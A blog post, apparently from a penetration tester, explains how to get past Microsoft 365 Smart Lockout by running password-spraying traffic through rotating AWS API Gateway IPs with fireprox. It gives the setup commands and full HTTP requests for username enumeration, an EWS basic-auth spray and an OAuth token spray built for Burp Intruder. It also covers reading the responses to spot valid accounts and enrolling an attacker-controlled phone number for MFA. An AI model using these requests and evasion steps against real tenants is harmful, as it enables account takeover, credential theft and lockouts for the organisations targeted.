Defeating Microsoft 365 Smart Lockout When Password Spraying
Microsoft 365 (formerly Office365) has hardened their defenses significantly recently. It used to be possible to send thousands of username enumeration or password spraying requests before Microsoft would begin shadow banning the IP address and sending deceptive responses which claim valid users are invalid. But now their defenses have become so tight, that it's difficult to even perform a few dozen password spraying requests without getting shadow banned or triggering their smart lockout feature.
There is a way, however, to defeat these defenses, at the time of this post. It involves using a proxy built in AWS API Gateway. In fact, there's a command line tool that will setup the proxy called fireprox from @ustayready. The way fireprox works, is that you give it your AWS creds and the URL that is your ultimate target. Fireprox then talks to AWS and builds you an API that proxies your requests to that target. When performing a password spray against Microsoft 365, you can hit the API URL that fireprox gives you and it will be proxied to Microsoft 365. The request will appear to Microsoft 365 that it came from an AWS IP address since it was proxied through their infrastructure. Also, the IP address that Microsoft 365 sees changes with each request, which helps keep you from being shadow banned. This can be used in concert with a tool like Burp Suite to password spray with great effect.
EDIT 2/11/22: It's been 10 days since my blog post, and already Microsoft seems to be blocking AWS API egress IP addresses.
SECOND EDIT 2/12/22: Now it appears they aren't auto-throttling AWS API IP addresses as I thought they were in my first edit. I'm thinking there must have just been a lot of hackers using this attack simultaneously and got the IP addresses temporarily blocked. It's working fine now.
While playing with this, I became curious how many egress IP addresses AWS API Gateway would alternate sending the requests through, so I performed a test of 1,000 requests through such a proxy API in us-west-1, to check things out. My test targeted icanhazip.com with 1,000 requests and saved them to a text file. The screenshot below shows this process.
As you can see, this resulted in showing 380 unique IP addresses within these 1,000 requests. Not bad. Maybe some regions even have more. This is certainly enough to defeat Microsoft's defenses most of the time, even if some requests may be shadow banned here and there. And it's certainly easy to setup. It only took one command to set it up with fireprox:
sudo docker run --rm -it fireprox --access_key XXX --secret_access_key YYY --region us-west-1 --command create --url https://icanhazip.com
But enough playing around. Let's get to the attack on Microsoft 365. Firstly, for this attack, I made sure that I had some good requests working before I used fireprox. I tried a few, but below is the one that I initially used for user enumeration against https://login.microsoftonline.com. This is not the only one I'll be providing in this post, but what I like about it is that it only checks the username, and not a password:
Host: login.microsoftonline.com
Content-Length: 68
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: application/json; charset=UTF-8
Hpgid: 1104
Accept: application/json
Hpgact: 1800
Origin: https://login.microsoftonline.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"username":"john@example.com","isOtherIdpSupported":true,}
If you have any trouble with any of the requests in this post, including the one above, try turning off URL encoding for the payload. Also, according to Red Seige, the request above "only works for Exchange Online customers who don't have on-prem or hybrid deployments". It worked for the Microsoft 365 accounts I tested. The responses should give you an IfExistsResult value and a ThrottleStatus value. If the latter is anything other than 0, Microsoft is throttling you and you're being shadow banned with deceptive responses. The former's response values can be deciphered like so:
0 = Valid username
1 = Invalid username
5 = Valid username
6 = Valid username
Let me also include an older EWS-based password spraying request I haven't used in a while and should only work if the target is a legacy customer with EWS enabled in Microsoft 365. (Not sure if this one still works and be aware that Microsoft will be disabling basic auth soon.) This request should be sent to https://outlook.office365.com and may or may not help you, but I want to put it out there just in case:
GET /EWS/Exchange.asmx HTTP/1.1
Host: outlook.office365.com
Cache-Control: max-age=0
Authorization: Basic <credentials>
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Note that you'll need to do some payload tweaks with Burp Intruder to get the username and password Base64 encoded in the authorization header.
But the best HTTP request, and the one I finally settled on for the attack, was this one, which is sent to https://login.microsoftonline.com:
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Accept-Language: en-US,en;q=0.5
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=john-doe%40example.com&password=Winter2022&scope=openid
Various sources online seem to indicate that the client_id in this above request is a generic one having to do with Azure, so you should be able to use it in your request as well. If you're wondering how I came up with this request, I often proxy various password spraying tools through Burp in order to learn how they work or intercept useful requests. This particular request I found using o365spray. That tool doesn't have a straightforward way to integrate with fireprox, so I decided to just PiTM (person-in-the-middle) the tool and grab the spray request to use on my own.
Before we can run the actual attack, we need to run fireprox to setup the proxy in AWS. Run the fireprox command and it will spit out an API URL for you:
sudo docker run --rm -it fireprox --access_key XXX --secret_access_key YYY --region us-west-1 --command create --url https://login.microsoftonline.com
Lastly, let's go ahead and run the password spraying attack in concert with fireprox. The only things you need to change are the target, path, and host. Take the URL provided by fireprox and use it for the target. Use that same URL's DNS name for the host header. For the path, prepend this: /fireprox
In the end, your request should look something like this, with the Intruder position being the username value and the password being static:
POST /fireprox/common/oauth2/token HTTP/1.1
Host: example.execute-api.us-west-1.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Accept-Language: en-US,en;q=0.5
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=john-doe%40example.com&password=Winter2022&scope=openid
Below are some strings which can be found within responses which you can grep for using Intruder:
- error validating credentials
- does not exist
- locked
- interaction_required
Keep in mind that these responses can be false if Microsoft is shadow banning you. Especially the "does not exist" and "locked" responses - though "locked" responses can sometimes be legitimate, so be careful not to DoS the target organization. The "interaction_required" response refers to MFA being required after successfully cracking the password, but don't lose hope if you run up against MFA because sometimes a user hasn't enrolled their phone number yet and you can enroll a number you control. There are likely other responses that you will encounter which I didn't come across. Feel free to comment if you encounter others and want to share. As an example, my test targets used MFA, but if your target doesn't use MFA, you may get a different response for a cracked password. Just keep an eye on 2 things, in regard to unknown responses:
- Size (high byte count)
- Responses which aren't flagged by any of your grepped strings
References:
https://bond-o.medium.com/microsoft-office-365-enumeration-58f9b5ba21c8
https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b
https://github.com/dafthack/MSOLSpray
Comments
Post a Comment